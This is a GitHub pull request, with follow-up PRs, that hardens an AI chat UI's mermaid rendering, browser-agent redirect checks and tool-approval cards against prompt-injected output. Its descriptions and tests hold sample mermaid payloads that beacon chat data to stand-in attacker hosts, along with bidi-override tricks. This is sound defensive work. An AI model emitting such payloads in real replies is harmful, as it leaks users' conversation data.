Skip to content

Studio: keep diagrams, redirect links and approval cards honest - #14427

Merged
danielhanchen merged 6 commits into
mainfrom
studio-frontend-chat-safety
Oct 21, 2026
Merged

danielhanchen merged 6 commits into
mainfrom
studio-frontend-chat-safety

Conversation

@danielhanchen

@danielhanchen danielhanchen commented Oct 21, 2026 •

Copy link
Copy Markdown
Member

Hardening from a security review of what the chat UI renders and approves. Ordinary chats, diagrams and tool calls look and behave the same; the visible differences are listed below.

Changes

  • Mermaid diagrams no longer fetch remote content. Chat already blocks remote images in model output (MarkdownImage, safeMarkdownUrl), but a ```mermaid fence went straight to mermaid, whose node img, sequence-actor icon, HTML labels and url() styles load from any URL. A prompt-injected reply could put chat text in such a URL. A Studio mermaid plugin (mermaid-plugin.ts + mermaid-guard.ts) cleans the source on every render: remote img / icon values are dropped (data: images kept), fetching tags in labels are shown as text, url() style lines and diagram-supplied themeCSS / fontFamily are dropped. Chat, markdown previews (research reports, attachments) and model READMEs all use it. A diagram without those reaches mermaid byte-identical.
  • Browser agent: redirect links are approved by their target (executor.ts, browser_agent.py). Google / DuckDuckGo redirect links (google.com/url?q=...) were gated on the outer URL, while the tab loaded the unwrapped target. The gate (and the backend's normalize_navigation_url) now checks the target, before the tab loads it. Sites already approved or named by the user still open without a question.
  • Approval cards escape bidi controls (tool-code-cell.tsx). Terminal and Python approval cards showed code with raw Unicode bidi overrides, so the displayed command could differ from the executed one. Display now uses the existing escapeBidiControls; Copy, Download and the executed command keep the raw text.
  • Generic approval cards open with their arguments (tool-fallback.tsx). MCP, edit_file and similar cards waiting for Allow / Deny now pass awaitingApproval, so the arguments are visible even with the collapsed-cards preference (the Terminal card already did this). Finished cards are unchanged.
  • Research reports: the unlisted-URL filter in core/research/citations.py now matches HTTPS:// like https://.

What users see

  • A mermaid node or actor with a remote image or icon draws without it; <img ...> in a label is shown as text; a diagram's own themeCSS / fontFamily is ignored (the diagram font stays the same as before).
  • Following a Google / DuckDuckGo redirect to a new site asks "Open ?" before loading, instead of loading and then asking.
  • Bidi characters in an approval card show as \u202e-style escapes.
  • Generic tool cards awaiting approval are expanded.

The startup bundle budget rises by the measured 617 B raw / 238 B transfer (the guard itself loads with the first diagram), keeping the same margin.

Tests. New mermaid-remote-images.test.ts and mermaid-remote-images-render.test.ts (real mermaid under node: the stock plugin requests https://attacker.example/collect?..., this one requests nothing while a data: image is still requested), browser-agent-redirect-gate.test.ts, tool-code-cell-bidi.test.ts, tool-fallback-approval-open.test.ts, plus backend test_browser_agent.py redirect cases and test_research_report_url_case.py. All fail on main and pass here. The full frontend suite (13,072 tests) has the same 7 failures on both sides; typecheck passes, lint is unchanged on touched files, vite build is within budget.

Before / after. The same chat replayed on the merge base and on this branch, with a Mermaid flowchart whose node embeds an <img> served over HTTPS. Before, the diagram fetches the remote image (one request to /logo.png?chat=secret); after, the node renders as a plain labelled box and no request is made. The flowchart itself renders the same.

Mermaid remote image before and after

- Mermaid diagrams follow the chat's image policy: a Studio-owned mermaid
  plugin (used by chat, markdown previews and model READMEs) vets the
  diagram source before mermaid draws it. Remote node images, sequence
  actor icons, fetching HTML tags in labels and url() style rules are
  taken out; data: images stay. Init directives and front matter may no
  longer set themeCSS / fontFamily / altFontFamily. A diagram that names
  no remote resource reaches mermaid unchanged.
- Research report URL checks match the scheme in any case.
- Browser agent: a search engine redirect link is gated on the page it
  lands on, before the tab loads it; the backend checks the target too.
- Code approval cards show bidi controls escaped (display only; Copy and
  Download keep the command as it runs).
- Generic tool cards (MCP tools, edit_file, ...) stay open while waiting
  on Allow / Deny, so the arguments being approved are visible.
- Startup bundle budget raised by the measured 617 B raw / 238 B transfer.
@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Oct 21, 2026 •

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-10-21T06:48:08.227016Z f855191 Manual request
🔒 Security Review 🔄 Running since 2026-10-21T02:11:10.106513Z 3859dd3 PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@danielhanchen danielhanchen self-assigned this Oct 21, 2026
danielhanchen pushed a commit to danielhanchen/unsloth-staging-2 that referenced this pull request Oct 21, 2026
chatgpt-codex-connector[bot]

This comment was marked as resolved.

…cked redirect links at their target; canonical redirect paths; uppercase-scheme citations

[skip ci]
chatgpt-codex-connector[bot]

This comment was marked as resolved.

chatgpt-codex-connector[bot]

This comment was marked as resolved.

…directives and front matter; native clicks keep the wrapper's own checks

[skip ci]
chatgpt-codex-connector[bot]

This comment was marked as resolved.

…dented front matter in the guard, gate every hop of a native redirect chain
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

1 similar comment
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 2a8b0ce4dd

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +22 to +23
const STYLE_LINE = /^[^\S\n]*(?:classDef|style|linkStyle)\b.*$/gim;
const STYLE_FETCH = /\\|url\s*\(|image(?:-set)?\s*\(|cross-fade\s*\(|element\s*\(|@import/i;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Scope style-line removal to style-capable diagrams

This filter runs against every Mermaid grammar, so it deletes valid content that merely begins with style. For example, timeline\n style : Use url(path) syntax is a valid timeline period and event, but STYLE_LINE matches the line and STYLE_FETCH sees url(, reducing the diagram to an empty timeline even though the text never becomes CSS or loads a resource. Apply this removal only in grammars where the line is actually a style statement.

Useful? React with 👍 / 👎.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Leaving this: it needs a timeline (or similar) entry named style whose text contains url(; dropping that one line is a harmless false positive next to keeping a real style statement that loads.

…el styles, framed clicks load the gated landing page

[skip ci]
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Oct 21, 2026
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

1 similar comment
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

@chatgpt-codex-connector

Copy link
Copy Markdown

Codex Review: Didn't find any major issues. Keep it up!

Reviewed commit: f855191662

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

@danielhanchen
danielhanchen merged commit 2552ee3 into main Oct 21, 2026
@danielhanchen
danielhanchen deleted the studio-frontend-chat-safety branch October 21, 2026 06:53
JadeCong pushed a commit to CloudEngineHub/unsloth that referenced this pull request Oct 23, 2026
…t fetch either (unslothai#14526)

Follow-up to unslothai#14427.

**Problem.** The mermaid guard drops a `classDef` / `style` /
`linkStyle` statement that names a remote resource, but it only
recognized those statements at the start of a line. Mermaid also accepts
them after a `;` statement separator, and a stateDiagram (also
erDiagram, block-beta, requirementDiagram) accepts them mid-line after a
space, so a chat reply containing

```
stateDiagram-v2
  A --> B; classDef x fill:url(https://example.invalid/collect?q=...)
  C --> D classDef y background-image:url(https://example.invalid/collect?q=...)
  class A x
```

still made the browser fetch that URL while the diagram rendered, with
no click and no approval.

**Change.** Each line is scanned once for a style keyword. In
stateDiagram, erDiagram, block and requirementDiagram, whose lexers take
a statement mid-line and allow brackets in ids, every keyword after a
space counts. In other diagrams a statement must start the line or
follow `;`, and a keyword inside a quoted or bracketed label (`A["Style
transfer\nmodel"]`, `A["see; style C:\temp"]`) or in message text is
label text and is skipped. From the first statement that names a
resource, the rest of the line is removed (a stateDiagram `classDef`
runs to the end of the line past any `;`); the text before it stays.
Diagrams without one come back unchanged, and running the guard twice
gives the same text.

**Testing.**
- `tests/mermaid-remote-images.test.ts`: 45 pass, including semicolon,
mid-line, bracketed state id, label, message text and a 20,000-token
line (linear time); the new cases fail on main.
- Mermaid and markdown frontend tests: 127 pass.
- Rendered with mermaid 11.17.2 under Studio's CSP in Chromium, Firefox
and WebKit (Playwright), counting requests to the remote host:

| Diagram | main | this PR |
|---|---|---|
| stateDiagram `A --> B; classDef x mask:url(...)` | 1 request | 0
requests |
| stateDiagram `A --> B classDef x background-image:url(...)` (no `;`) |
1 request (WebKit 2) | 0 requests |
| stateDiagram `[*] --> A classDef x mask:url(...)` | 1 request (WebKit
2) | 0 requests |
| stateDiagram `A( --> B classDef x background-image:url(...)` | 1
request | 0 requests |
| sequenceDiagram `Alice->>Bob: apply style from url(parameter)` |
renders | same SVG |
| `flowchart LR; A-->B; style A fill:#f96; style B fill:#bbf` | renders
| same SVG |
| stateDiagram `A --> B; classDef x fill:#f96` | renders | same SVG |
| flowchart label `A["Style transfer\nmodel"]` | renders | same SVG |
| flowchart label `A["see; style C:\\temp"]` | renders | same SVG |
| multi-line `style` / `classDef` / `linkStyle` block | renders | same
SVG |

**Before / after in Studio.** The same chat thread, opened in a Studio
built from main and one built from this branch. Its stateDiagram has a
style statement after `;` and one mid-line, each pointing at a local
HTTPS image server. The diagram renders the same on both sides; the
difference is what the browser fetched: main made 2 requests
(`?s=semicolon`, `?s=midline`), this branch made 0.

![Mermaid style statements: main fetches the image twice while
rendering, this branch fetches nothing and renders the same
diagram](https://raw.githubusercontent.com/danielhanchen/unsloth-staging-2/pr-media/pr/14526/pr14526_before_after-08cef3095546.png)
JadeCong pushed a commit to CloudEngineHub/unsloth that referenced this pull request Oct 23, 2026
…wn on the page (unslothai#14642)

Follow-up to unslothai#14427.

**Problem.** unslothai#14427 gates Google `/url?q=` and DuckDuckGo `/l/?uddg=`
redirect links on the page they land on. The agent's record of the links
on the page it last read still holds only the raw wrapper URL, so the
landing page never matched it. Clicking a search result on a DuckDuckGo
(or wrapped Google) results page, which used to just open, now stops
with "Open <site>?" every time, even though the link is right there on
the page.

**Change.** When a snapshot or find records the page's links, each
redirect link also records the pages it leads to (the same
`unwrapRedirect` chain the tab follows). Clicking or navigating to a
search result on the page is then treated as following an on-page link,
so it opens without a question, as any other on-page link does. The
protection from unslothai#14427 stays in place:
- The gate still runs on the real destination, so site blocks and the
backend's redirect checks still apply.
- A redirect link the model makes up (not on the page), or one pointing
anywhere other than the result shown, still asks.
- The wrapper hops keep their own gates.

The recorded set comes from a pure function of the page's links, so
recording the same page twice gives the same result.

**Testing.**
- `tests/browser-agent-redirect-gate.test.ts`: 6/6 pass with the change.
With only the source change reverted, 4/6 pass. The two new flow tests
fail there: an on-page wrapped result opening without a question, and a
clicked search result opening without a question. Still passing with the
change: a made-up redirect to a new site asks before loading (Google and
DuckDuckGo), a made-up redirect to a site not on the page asks, and an
on-page redirect to a blocked site is refused without loading.
- Neighbouring browser agent tests (executor, gate, always-allow, chats,
address, drag, point, script, page-wait, cursor): 53/53 pass with the
change, 53/53 on base.
danielhanchen added a commit to danielhanchen/unsloth-staging-2 that referenced this pull request Oct 27, 2026
…nslothai#14907)

## Problem
`stripRemoteDiagramImages` (unslothai#14427) drops a remote `img` from mermaid
shape data blocks (`id@{ img: "..." }`) before mermaid renders a diagram
from chat markdown, since mermaid fetches the image while it measures
the node. The block scan took the first `@{` anywhere in the source as
an opener, including one inside a quoted label. The label's closing `"`
then flipped the scan into string mode, the real block's `}` was never
found, and the scan returned no blocks at all, so the diagram reached
mermaid unchanged:

```
flowchart LR
  A["@{"] --> B@{ img: "https://attacker.example/label-confusion", w: 10, h: 10 }
```

came back byte-identical on main, while the same block without the label
is stripped. Model output (including prompt-injected text from a fetched
page) controls the diagram, and the Studio page CSP allows `https:`
images, so this reopens the image beacon channel unslothai#14427 closed.

## Change
`studio/frontend/src/components/assistant-ui/mermaid-guard.ts`: whether
a given `@{` is shape data or text (a quoted label, accessibility text,
a sequence message) depends on mermaid's lexer state, which the guard
cannot reproduce, so it no longer picks one reading:
- every `@{` is read on its own, as a block up to its first `}` outside
a string (precomputed in one pass, so any number of markers costs linear
time);
- each reading that names a remote image gets the image taken out, as
before;
- when two such readings overlap, both openers become `#64;{`, mermaid's
entity for `@`, which shows the same text and opens nothing;
- the result is vetted again until it is stable.

Diagrams without a remote image are unchanged, including an unterminated
`@{` in a sequence message.

## Tests
`studio/frontend/tests/mermaid-remote-images.test.ts`: a `@{` in a
quoted label; a `@{` and a `}` in later labels; a `}` quoted inside the
real block's label; accessibility text with a lone quote; each strips
the remote image and is stable on a second pass. An unterminated `@{` in
a sequence message passes through unchanged, two overlapping readings
become inert, and 16,000 unclosed markers scan in under a second. Main
fails 2 of these; this branch passes all 49 in the file.

Full frontend suite (`node --test "tests/**/*.test.ts"`, TAP): the same
569 failing test IDs on main and on this branch (they need the full
frontend install), no new failures.


## Before / after

The same streamed reply (two mermaid diagrams) rendered by a Studio
built from the merge base and one built from this branch.
`https://attacker.example/**` was answered with a red image so a fetch
is visible.

![Before: the quoted `@{` hides B's shape data, so the remote image
loads (red box) and C's label is cut to "show". After: no remote fetch,
B and D keep their labels, C keeps its full
text.](https://raw.githubusercontent.com/danielhanchen/unsloth-staging-2/pr-media/pr/14907/pr14907_before_after-d92969bd72d3.png)

| | Before | After |
|---|---|---|
| Requests to the remote host | 1 | 0 |
| Remote `<image>` elements | 1 | 0 |
| C node label | `show` | `show @{ img: @{ img: x }` |
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant